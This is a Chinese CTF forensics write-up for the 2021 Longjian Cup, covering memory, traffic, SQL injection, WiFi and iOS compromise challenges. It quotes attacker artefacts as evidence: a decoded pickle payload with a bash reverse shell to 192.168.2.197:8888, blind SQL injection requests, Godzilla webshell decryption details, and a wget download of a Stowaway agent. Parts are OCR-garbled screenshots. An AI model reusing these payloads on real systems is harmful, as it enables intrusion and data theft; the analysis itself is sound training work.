000	0 02 42 70 b3 33	41 02 42 ac 12 00	d2 08 00 45 00	-Bp-3A-BE-								
001	00 50 e3 92 40	00 40 11 fe 12 ac	12 00 d2 ac 12	·P··@·@·								
0020	0 00 01 d5 1e 22	b8 00 3c 59 45 50	30 35 3d 00 00	···· YE <mark>P05=··</mark>								
0030	0 00 00 61 23 25	61 3b 41 be 1c 20	00 00 00 41 41	••a#%a;A •• •••AA								
0040	0 41 66 69 37 34	6f 43 64 51 6a 65	75 68 44 6a 4e	Afi74oCd QjeuhDjN	1							
0050	0 6f 7a 73 73 4f	33 74 36 58 64 51	30 6c 52	ozssO3t6 XdQ0lR								
4												

根据长度16猜测可能是aes,用长度16的base64,即P05=后面是01 00 00 00的,作为aes key解密,02 00 00 00对应的包里面有一个可见字符,其中受害IP为172.18.0.125

6.内存分析

题目描述:

网关小王制作了一个虚拟机,让您来分析后作答

6.1

题目:

虚拟机的密码是___。(密码中为flag{xxxx},含有空格,提交时不要去掉)

题解:

flag{W31C0M3 T0 THiS 34SY F0R3NSiCX} 使用volatility工具进行分析 imageinfo获取系统信息

/olatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win
1008R2SP1x64, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (E:\研究生比赛\CTF\2021陇剑杯\内存分析\内存分析\Ta
rget.vmem)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf8000403c0a0L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff8000403dd00L
KUSER_SHARED_DATA : 0xfffff7800000000L
Image date and time : 2021-08-29 09:08:07 UTC+0000
Image local date and time : 2021-08-29 17:08:07 +0800

使用lsadump命令查看最后登录的用户,得到flag

PS E:\													·>	vo]	lati	ility	.exe = .\Target.vmemprofile=Wi
X64 ISauump					_												
Volatility I	Four	ndat	tior	n Vo	o⊥at	tili	ity	Fra	amev	vork	< 2	.6					
DefaultPass	word	d															
0x00000000	48	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	Н
0x00000010	66	00	6c	00	61	00	67	00	7b	00	57	00	33	00	31	00	f.l.a.g.{.W.3.1.
0x00000020	43	00	30	00	4d	00	33	00	20	00	54	00	30	00	20	00	C.0.M.3T.0
0x00000030	54	00	48	00	69	00	53	00	20	00	33	00	34	00	53	00	T.H.i.S3.4.S.
0x00000040	59	00	20	00	46	00	30	00	52	00	33	00	4e	00	53	00	YF.0.R.3.N.S.
0x00000050	69	00	43	00	58	00	7d	00	00	00	00	00	00	00	00	00	i.C.X.}
DPAPI_SYSTE	м																
0x00000000	2c	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
0x00000010	01	00	00	00	49	06	16	35	a7	90	b6	2a	53	69	03	27	I5*Si.'
0x00000020	b9	9a	60	9e	9a	15	90	37	7c	cf	1d	3c	f1	3f	60	05	`7 <.?`.
0x00000030	56	c1	59	68	53	9a	dc	e0	18	b3	55	ef	00	00	00	00	V.YhSU

flag{W31C0M3 T0 THiS 34SY F0R3NSiCX}

6.2

题目:

虚拟机中有一个华为收集的备份文件,文件里的图片的字符串为___。(解题过程中需要用到上一题答案中flag{}内的内容进行处理。本题的格式也是flag{xxxx},含有空格,提交时不要去掉)

题解:

flag{TH4NK Y0U FOR DECRYPTING MY DATA}

题目说是华为收集,那么直接使用grep命令来搜集有关于HUAWEI的信息。命令: filescan|grep -E "HUAWEI"

<pre>\$ volatility -f Target Volatility Foundation</pre>	<u>t.vmem</u> — p Volatilii	profile=W	in7SP1×64 filescan grep -E "HUAWEI" ork 2.6	1 🗙
0×000000007d8c7d10 xx.vv.zz.exe	4	0 Rr-d	\Device\HarddiskVolume1\Users\CTF\Desktop\HUAME1 P40_2021-a	aa-bb
0×000000007e164cc0 xx.yy.zz.exe	12	0 Rr	\Device\HarddiskVolume1\Users\CTF\Desktop\HUAMEI P40_2021-a	aa-bb
0×000000007e1e1ae0 XX.YY.7-6DC73FF4.pf	16	0 R	\Device\HarddiskVolume1\Windows\Prefetch\HUAWEI P40_2021-AA	A-BB
0×0000000007ee4d660 xx.yy.zz\alarm.db	2	0 -W-r	\Device\HarddiskVolume1\Users\CTF\Desktop\HUAWE1 P40_2021-a	aa-bb
0×000000007fc68a10 xx.vv.zz\info.xml	16	0 -W-r	\Device\HarddiskVolume1\Users\CTF\Desktop\HUAME1 P40_2021-a	aa-bb
0×000000007fe72430	2 rage\Media	0 -W-r	\Device\HarddiskVolume1\Users\CTF\Desktop\HUAME1 P40_2021-a	aa-bb
0×0000000007feabbc0 xx.yy.zz\picture.xml	16	0 -W-r	\Device\HarddiskVolume1\Users\CTF\Desktop\ HUAWEI P40_2021-a	aa-bb

※后把又件aump下米,使用审令 dumpfiles -Q fileid -D 导出的文件夹

\$ volatility -f Target.vmem --profile=Win7SP1×64 dumpfiles -Q 0×00000007d8c7d10 -D ./fileout 1 *
Volatility Foundation Volatility Framework 2.6
ImageSectionObject 0×7d8c7d10 None \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb
xx.yy.zz.exe
DataSectionObject 0×7d8c7d10 None \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb x
x.yy.zz.exe

\$

导出来一个exe文件,我们改一下后缀名,运行看一下,是一个自解压文件。

🚡 WinRAR 自解压文件		с <u>т</u> а		×
	• 按下 解压 按钮开始解压。			^
	 使用 浏览 按钮从目录树中选择目 也可以手动输入。 	标文件	夹。它	
	 如果指定的目标文件夹不存在,在 将被自动创建。 已在提取之前自动 	文件解 的创建。	压前它	
				\sim
目标	(文件夹(D) 内存分析\内存分析 法度	~	浏览(⊮)	•
	解压		取消	

这时候需要对解压出来的文件进行解密,需要使用github上解密华为的工具。工具地址是:

https://github.com/RealityNet/kobackupdec.git

使用命令:

python kobackupdec.py -vvv W31C0M3 T0 THiS 34SY F0R3NSiCX HUAWEI ./jiemi







/Th4s_IS_VERY_Import_Fi1e base64解码传递的参数,得到秘密文件

	STAKeDAKMFMnY2F0IC9UaDRzX01TX1ZFUl1fSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHAOCjBjb3MKe31zdGVtCnA1CjBnNQooZzEKdF	Ίu
	编码 base64 · 字符集 utf8(unicode编码) · 编码 解码	
	10 00 10' cat /Th4s_IS_VERY_Import_File' 10' [00 1p2 0)(I0 1p3 0)(g3 100 104 104 104 105 105 105 105 105 105 105 105	
	# 7.3	
项 F		
	客反弹shell的ip和端口是。(格式使用"ip:端口",例如127.0.0.1:2333)	
匢角		
	92.168.2.197:8888 码传递的最后一个参数,得到ip和端口	
3	KcDAKMFMnYmFzaCAtaSA+JiAvZGV2L3RjcC8x0TIuMTY4LjIuMTk3Lzg40DggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4=	
	编码 base64 字符集 utt8(unicode编码) 字 编 码 解 码	
	bash -i >& /dev/tcp/192.168.2.197/8888 0>&1' 0 3	

8.SQL注入

```
import re
from urllib parse import unquote
file_name = "access_1.log"
pattern string = "select%20flag%20from%20sqli.flag"
#file_name = input("输入文件名,文件记得要在当前脚本目录下:")
#pattern_string = input("复制个特征值过来, 比如select,flag啥的: ")
flag = ''
# 打开文件以及读取行数
get_File = open(file_name, "r+")
get_line = get_File.readline()
while get_line:
   get_Data = re.search(pattern_string, get_line)
   if get_Data:
       get_Data_Num = re.search(r'4[7-8][0-1]?.*', get_Data.string)
       if get_Data_Num:
           flag += (re.findall(r"%20=%20\'(.+?)\'", get_Data_Num.string))[0]
           print(unquote(flag[:-1], 'utf-8'))
   get_line = get_File.readline()
```

这里贴一个脚本,以后做到这类题可以直接上脚本,比一个一个看好。

```
get_File.close()
```

题目描述:

某程序被攻击,请分析日志后作答

8.1

题目:

黑客在注入过程中采用的注入手法叫__。(格式为4个汉字,例如:"拼搏努力")

题解:

布尔盲注

8.2

题目:

黑客在注入过程中,最终获取flag的数据库名、表名和字段名是___。(格式为"数据库名#表名#字段名",例如: database#table#column)

题解:

sqli#flag#flag 查看日志,即可发现

- [01/Sep/2021:01:46:06 +0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),43,1) = '0',1,(select table_name from information_schema.tables)) HTTP/1.1" 200 42

up± Ocos

- [0.7]/Sep/2021:01:46:06 +0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),43,1) = '.',1,(select table_name from information_schema.tables)) HTTP/1.1* 200 42(uests/2.26.0*

- [01/Sep/2021:01:46:06 +0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),43,1) = '-',1,(select table_name from information_schema.tables)) HTTP/1.1" 200 42

8.3

题目:

黑客最后获取到的flag字符串为

题解:

flag{deddcd67-bcfd-487e-b940-1217e668c7db} 查看日志,发现每次当数据库位数进行变化时,前一个字母的拼接结果就是flag

.6:02 +0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),29,1) = '-',1,(select table_name from information_schema.tables .6:02 +0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),30,1) = '',1,(select table_name from information_schema.tables)

9.wifi

题目描述:

服务器、客户端、vmem

9.1

题目:

```
小王往upload-labs上传木马后进行了cat /flag, flag内容为___。(压缩包里有解压密码的提示,需要额外添加花括号)
```

题解:

flag{5db5b7b0bb74babb66e1522f3a6b1b12}

分析vmem文件。

Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (E:\研究生比赛\CTF\2021陇剑杯\wifi\wifi\Wifi\Windc
ws 7-dde00fa9.vmem)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x83f3dbe8L
Number of Processors : 1
Image Type (Service Pack) : 0
KPCR for CPU 0 : 0x83f3ec00L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2021-07-17 19:36:54 UTC+0000
Image local date and time : 2021-07-18 03:36:54 +0800

在客户端的流量包中,发现wifi名称为My_Wifi

lime	Source	Into	Dest:
1.237124		Acknowledgement, Flags=	Etek
1.238090	HuaweiDe_4c:55:ec	Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi	Goog
1.434921		Acknowledgement, Flags=	Motc
1.437123		Acknowledgement, Flags=	Xiam

^{- [01/}Sep/2021:01:46:06 +0000] "GET /index.php?id=1 and if(substr((select flag from sqli.flag),43,1) = '/',1,(select table_name from information_schema.tables)) HTTP/1.1" 200 42 uests/2.26.0"

1.468287	Acknowledgement, Flags= Mot
1.485290	Acknowledgement, Flags= Mot
1.771973 HuaweiDe_4c:5	5:ec Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi Goo
1.792670 HuaweiDe_4c:5	5:ec Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi Goo
1.888515 HuaweiDe_4c:5	5:ec Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi Goo
1.996865 HuaweiDe_4c:5	5:ec Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi f6:
2.127728 HuaweiDe_4c:5	5:ec Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi She
2.234087	Acknowledgement, Flags= 96:
2.254632	Acknowledgement, Flags= Xia
2.256336	Acknowledgement, Flags= Xia
2.258169	Acknowledgement, Flags= Xia
2.342544	Acknowledgement, Flags= Ete
2.346565 HuaweiDe_4c:5	5:ec Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi She
2.350197	Acknowledgement, Flags= Ete
2.357578	Acknowledgement, Flags= Ete
3.232570 HuaweiDe_4c:5	5:ec Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi Lit
3.240320 HuaweiDe_4c:5	5:ec Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi Lit
3.604076 HuaweiDe_4c:5	5:ec Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi ITT
3.644992	Acknowledgement, Flags= 96:
3.658153 HuaweiDe_4c:5	5:ec Probe Response, SN=1911, FN=0, Flags=, BI=100, SSID=My_Wifi ITT
2 (07450	Acknowladgement Flags Fts

然后在镜像中查找My_Wifi,发现了个zip。

```
$ volatility -f 1.vmem --profile=Win7SP1×86_23418 filescan grep My_Wifi
Volatility Foundation Volatility Framework 2.6
0×00000003fdc38c8 2 0 -W-rwd \Device\HarddiskVolume1\Program Files
\My_Wifi.zip\Temp\vmware-admin\VMwareDnD\2a1221c7\My_Wifi.zip
```

导出zip文件

\$

volatility -f 1.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000003fdc38c8 -n --dump-dir=./fileout



解压发现password提示密码是自己wifi的GUID。网上搜索GUID在interfaces里面

🌠 file.N	lone.0x8	862e008	.My_Wifi.zi	o (评估版	本)							-	×
文件(F)	命令(C)	<u>工具(S)</u>	收藏夹(O)	选项(N)	帮助(H)							
添加	解压到	》 演试	重看	前期除	●	 <!--</td--><td>(i) 信息</td><td>(2) 扫描病毒</td><td>日本</td><td>自創</td><td>解压格式</td><td></td><td></td>	(i) 信息	(2) 扫描病毒	日本	自創	解压格式		
†	↑ See The Se												
名称	^		大/	ト 圧缩	詬大小	类型		修改时间			password is Network Adapter GUID		
JII						文件夹							
无线风	强络连接-№	Иу_Wi	67	1	350	XML 源文件		2021/7/18	2:55				

这样的com格式的字符串在注册表中。我们可以使用volatility中的interfaces去定位。得到GUID, {529B7D2A-05D1-4F21-A001-8F4FF817FC3A}。



icrosoft\Wlansvc\Profiles\Interfaces 0×00000003fa921c8 2 1 Rrwd Device\HarddiskVolume1\ProgramData\M icrosoft\Wlansvc\Profiles\Interfaces\{529B7D2A-05D1-4F21-A001-8F4FF817FC3A} 0×00000003fda8be8 2 1 Rrwd \Device\HarddiskVolume1\ProgramData\M icrosoft\Wlansvc\Profiles\Interfaces
得到wifi密码233@114514_qwe,可以用来解密客户端加密流量。
xml version="1.0"?
<pre><wlanprofile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"></wlanprofile></pre>
<name>My_Wifi</name>
<ssidconfig></ssidconfig>
< <u>SSID</u> >
<hex>4D795F57696669</hex>
<name>My_Wifi</name>
<connectiontype>ESS</connectiontype>
<connectionmode>auto</connectionmode>
<msm></msm>
<security></security>
<authencryption></authencryption>
<pre><authentication>WPA2PSK</authentication></pre>
<pre><encryption>AES</encryption></pre>
<useonex>false</useonex>
<sharedkey></sharedkey>
<keytype>passPhrase</keytype>
<protected>false</protected>
<pre><keymaterial>233@114514 gwe</keymaterial></pre>

这里使用airdecap-ng来解密客户端流量

		kali@kali:~/桌面
Л	文件 动作 编辑 查看 帮助	
1.cap	(kali [®] kali)-[~/桌面]	
л	Total number of stations seen Total number of packets read Total number of WEP data packet	fi -p 2330114514_qwe 6 8640 ts 0
1-dec.cap	Number of plaintext data packet Number of decrypted WEP packet Number of corrupted WEP packet	ts 1303 ts 0 ts 0 ts 0 ts 1252
	Number of bad TKIP (WPA) packet Number of bad CCMP (WPA) packet	ts 0 ts 0

这里解出来一个流量包文件,打开流量包,导出HTTP文件。 将pass的值解密,先url解密,再base64解密,得到明文,判断为哥斯拉流量。加密方式是xor_base64。流量密码是 \$pass='key'; \$key='3c6e0b8a9c15224a'; 这里有个解密脚本

```
for($i=0;$i<strlen($D);$i++) {
    $c = $K[$i+1&15];
    $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
echo gzdecode(encode(base64_decode('流量'),$key));</pre>
```

?>

得到flag



10.iOS

题目描述:

一位ios安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答

10.1

题目:

黑客所控制的C&C服务器IP是___。

题解:

3.128.156.159

首先分析access.log文件,发现上传了个一句话木马。然后就没什么了。然后发现keylog.txt文件是对流量包进行RSA解密所需的密钥, 先不管。

查看流量包,然后导出所有的HTTP文件

~				······································						
	Open	Ctrl+O	e 🖗 👱 📃 🔍 Q, Q, 🎹							
	Open Recent	•								
	合并(M)			Inf∘	Destination					
	从 Hex 转储导入(I)		.12	54915 → 54915 Len=263	192.168.1.255					
	Close	Ctrl+W	.3	12476 → 12476 Len=88	255.255.255.255					
	保存(S)	Ctrl+S	.06.142	Standard query 0x0000 SRV ncm	224.0.0.251					
	另存为(A)	Ctrl+Shift+S	:cdb2:45e8	Standard query 0x0000 SRV ncm	ff02::fb					
	六 川佐人		.12	54915 → 54915 Len=263	192.168.1.255					
	又件集合	•	2.133	443 → 54864 [ACK] Seq=1 Ack=1	192.168.1.8					
	导出特定分组		2.132	443 → 54860 [ACK] Seq=1 Ack=1	192.168.1.8					
	导出分组解析结果	+	.8	[TCP ACKed unseen segment] 54	220.195.22.133					
	导出分组字节流(B)	Ctrl+Shift+X	.8	[TCP ACKed unseen segment] 54	220.195.22.132					
	导出 PDU 到文件		2.132	443 \rightarrow 54877 [ACK] Seq=1 Ack=1	192.168.1.8					
	导出 TLS 会话密钥		.8	[TCP ACKed unseen segment] 54	220.195.22.132					
	导出对象	•	DICOM	54915 → 54915 Len=263	192.168.1.255					
	‡Τ€□(P)	Ctrl+P	HTTP	DHCP Discover - Transaction I	255.255.255.255					
			IMF	F4045 - 54045	400 400 4 000					
	Quit	Ctrl+Q	SMB	05 bytes captured (2440 bits)						
>	Ethernet II, Src:	ASUSTekC_92	TFTP	d:fb:92:97:66), Dst: Broadcast	(ff:ff:ff:ff:ff;ff)					
>	Internet Protocol	Version 4,	Src: 192.168	.1.12, Dst: 192.168.1.255						

- > User Datagram Protocol, Src Port: 54915, Dst Port: 54915
- ✓ Data (263 bytes)

查看文件,发现了一个ios_agent参数。还有链接github.com和一个ip。



然后在流量包的分组字节流中搜索ios_agent参数。

文件(图)编辑(图)视频(图) 编载(图) 编载(图) 分析(A) 统计(S) 电话(M) 无线(M) 工具(D) 帮助(H)

T								X			
	分组字节流 ~ 宽窄	~ □ 区分大小	▶写 字符串			<u></u> 主要 100 年間	戈	取			
No.	Time	Source	Info	Destination	Protocol	Length					
	262 37.000000	192.168.1.8	55704 → 8080 [PSH, ACK] Seq=2	3.128.156.159	ТСР			88			
	263 37.000000	3.128.156.159	8080 → 55704 [ACK] Seq=4 Ack=	192.168.1.8	ТСР			66			
	264 37.000000	192.168.1.8	55704 → 8080 [PSH, ACK] Seq=4	3.128.156.159	тср			86			
	265 37.000000	192.168.1.12	54915 → 54915 Len=263	192.168.1.255	UDP		3	305			
	266 37.000000	3.128.156.159	8080 → 55704 [ACK] Seq=4 Ack=	192.168.1.8	тср			66			
	267 38.000000	0.0.0.0	DHCP Discover - Transaction I	255.255.255.255	DHCP			342			
	268 38.000000	192.168.1.12	54915 → 54915 Len=263	192.168.1.255	UDP		7	305			
	269 39.000000	192.168.1.12	54915 → 54915 Len=263	192.168.1.255	UDP		3	305			
	270 40.000000	192.168.1.3	12476 → 12476 Len=88	255.255.255.255	UDP			130			
	271 40.000000	192.168.1.8	[TCP Retransmission] 55703 → …	20.205.243.166	тср			339			
	272 40.000000	192.168.1.12	54915 → 54915 Len=263	192.168.1.255	UDP			305			
	273 41.000000	3.128.156.159	8080 → 55704 [PSH, ACK] Seq=4	192.168.1.8	TCP		1	165			
	274 41.000000	192.168.1.8	55704 → 8080 [ACK] Seq=63 Ack	3.128.156.159	тср			66			
>	rame 273: 165 byte	s on wire (1320 bits).	, 165 bytes captured (1320 bits)					_			
>	Ethernet II. src: zte 55:65:da (f8:64:b8:55:65:da). Dst: Apple 88:59:7a (9c:e3:3f:88:59:7a)										
>	Internet Protocol Version 4. Src: 3.128.156.159. Dst: 192.168.1.8										
> .	Transmission Control Protocol, Src Port: 8080, Dst Port: 55704, Seg: 4, Ack: 63, Len: 99										
×	Hypentext Transfer Protocol										
	unde heter //dithuk com/heteren/ftwww.pu/helesses/dowledd/1.C.2/iec.agent 90.chmed 700 iec.agent\n										

0000	9c	e3	3f	88	59	7a	f8	64	b8	55	c5	da	08	00	45	00	···?·Yz·d ·U····E·
0010	00	97	81	d8	40	00	dc	06	ba	b8	03	80	9c	9f	c0	a8	· · · · ·@· · · · · · · · · · · ·
0020	01	08	1f	90	d9	98	1f	a2	3a	7e	c 9	50	14	bØ	80	18	····· :~·P····
0030	00	d2	54	9b	00	00	01	01	08	0a	ae	62	94	e8	Øb	9b	· · T · · · · · · b · · · ·
0040	eØ	47	77	67	65	74	20	68	74	74	70	73	за	2f	2f	67	Gwget h ttps://g
0050	69	74	68	75	62	2e	63	6f	6d	2f	70	68	34	6e	74	6f	ithub.co m/ph4nto
0060	6e	6e	2f	53	74	6f	77	61	77	61	79	2f	72	65	6C	65	nn/Stowa way/rele
0070	61	73	65	73	2f	64	6f	77	6e	<mark>6</mark> C	6f	61	64	2f	31	2e	ases/dow nload/1.
0080	36	2e	32	2f	69	6f	73	5f	61	67	65	6e	74	20	26	26	6.2/ios_ agent &&
0090	20	63	68	6d	6f	64	20	37	35	35	20	69	6f	73	5f	61	chmod 7 55 ios_a
00a0	67	65	<u>6</u> e	74	0a												gent•

然后追踪TCP流,发现黑客首先执行了Is,然后从github上执行了wget下载ios_agent 并赋予777权限,然后执行ios_agent命令。

<pre>testiphonex:~ root# ls Library Media key.key testiphonex:~ root# wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent -2021-08-29 01:52:11 https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent Resolving github.com 13.250.177.223 Connecting to github.com]13.250.177.223;i443 connected. HTTP request sent, awaiting response 202 Found Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Signature=adf5852da7a1e04779214f242fd44713319fc03584c0fc04dada9ab858b69&X-Amz-Date=202108281175321Z&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd44713319fc03584c0fc04dada9ab858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%2Foctet-stream [following] 2021-08-29 01:53:22 https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319fc033b4c01c04dada9ab858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- signature=adf5852da7a1e04779214f242fd447b13319fc033b4c01c040dada9ab858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%2Foctet-stream Resolving github-releases.githubusercontent.com. 2606:50c0:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com. 2606:00:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]2666:00:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]2666:00:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]2666:00:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]2666:00:8</pre>
<pre>Library Media key.key testiphonex:~ root# wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent - 2021-08-29 01:52:11 https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent Resolving github.com 13.250.177.223 Connecting to github.com]13.250.177.223 Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWMJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=20210828T1753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd4a7b13319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%Zefilename%3Dios_agent&response-content-type=application%ZFoctet-stream [following] 2021-08-29 01:53:22 https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f6db?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWMJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=20210828T175321Z&X-Amz-Expires=300&X-Amz-Signature=adf5852da7a1e04779214f242fd4d7b13319f0c33b84c01c404dad9ab858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%Zefilename%3Dios_agent&response-content-type=application%ZFoctet-stream Resolving github-releases.githubusercontent.com]2606:500c0:8001:154, 2606:500c0:8003:154, 2606:500c0:8002::154, Connecting to github-releases.githubusercontent.com]2666:50c0:8001:154, 2606:500c0:8003::154, 2606:500c0:8002::154, Connecting to github-releases.githubusercontent.com]2666:50c0:8001::154, 2606:500c0:8003::154, 2606:500c0:8002::154, Connecting to github-releases.githubusercontent.com]2666:50c0:8001::154, 2606:500c0:8003::154, 2606:500c0:8002::154, Connecting to github-releases.githubusercontent.com] Saving to: 'ios_agent'</pre>
<pre>Media key.key testiphonex:~ root# wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent2021-08-29 01:52:11 https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent Resolving github.com 13.250.177.223 Connecting to github.com 13.250.177.223 LOCantering to github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent HTTP request sent, awaiting response 302 Found Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWNJYAX4CSVEH53A%2F20210828%2Fus-east-1%2F3%2Faws4_request&X-Amz-Date=202108281753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f6c33b84c01c404da98b8b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&kep_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWNJYAX4CSVEH53A%2F20210828%2Fus-east-1%2F3%2Faws4_request&X-Amz-Date=202108281753212&X-Amz-Lxpires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f6c33b84c01c404da94b85b8b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&kep_id=221836131&response-content- com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAIWNJYAX4CSVEH53A%2F20210828%2Fus-east-1%2F3%2Faws4_request&X-Amz-Date=2021082817753212&X-Amz-Expires=300&X-Amz- Signature=adf5852da7a1e04779214f242fd447b13319f6c33b84c014dad4a9da9ab85b806&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&kep_id=221836131&keponse-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%2Focte-stream Resolving github-releases.githubusercontent.com]. 2606:50c0:8001::154, 2606:50c0:8003::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]. 2606:50c0:8001::154, 2606:50c0:8002::154, Connecting to github-releases.githubusercontent.com]. 2606:50c0:8</pre>
<pre>key.key testiphonex:~ root# wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent2021-08-29 01:52:11 https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent Resolving github.com 13.250.177.223 connecting to github.com 13.250.177.223 :443 connected. HTTP request sent, awaiting response 302 Found Location: https://github-releases.githubusercontent.com/221836131/b5384fc6-6372-498b-83ac-f475fae3f64b?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Credential=AKIAINWJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=202108281753212&X-Amz-Expires=300&X-Amz- Gredential=AKIAIAWJYAX4CSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=202108281753212&X-Amz-Expires=300&X-Amz- Gredential=AKIAIAWJYAXACSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=202108281753212&X-Amz-Expires=300&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Gredential=AKIAIAWJYAXACSVEH53A%ZF20210828%ZFus-east-1%ZF53%ZFaws4_request&X-Amz-Date=202108281753212&X-Amz-Expires=300&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz- Signature=adf5852da7a1e04779214f24fd447b1319f0c33b84c0tc404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%2Foctet-stream Signature=adf5852da7a1e04779214f24fd447b1319f0c33b84c01c404dad894b858b69&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=221836131&response-content- disposition=attachment%38%20filename%3Dios_agent&response-content-type=application%2Foctet-stream Resolving github-releases.githubusercontent.com]/2606:50c0:8003::154, 2606:50c0:8002::154, 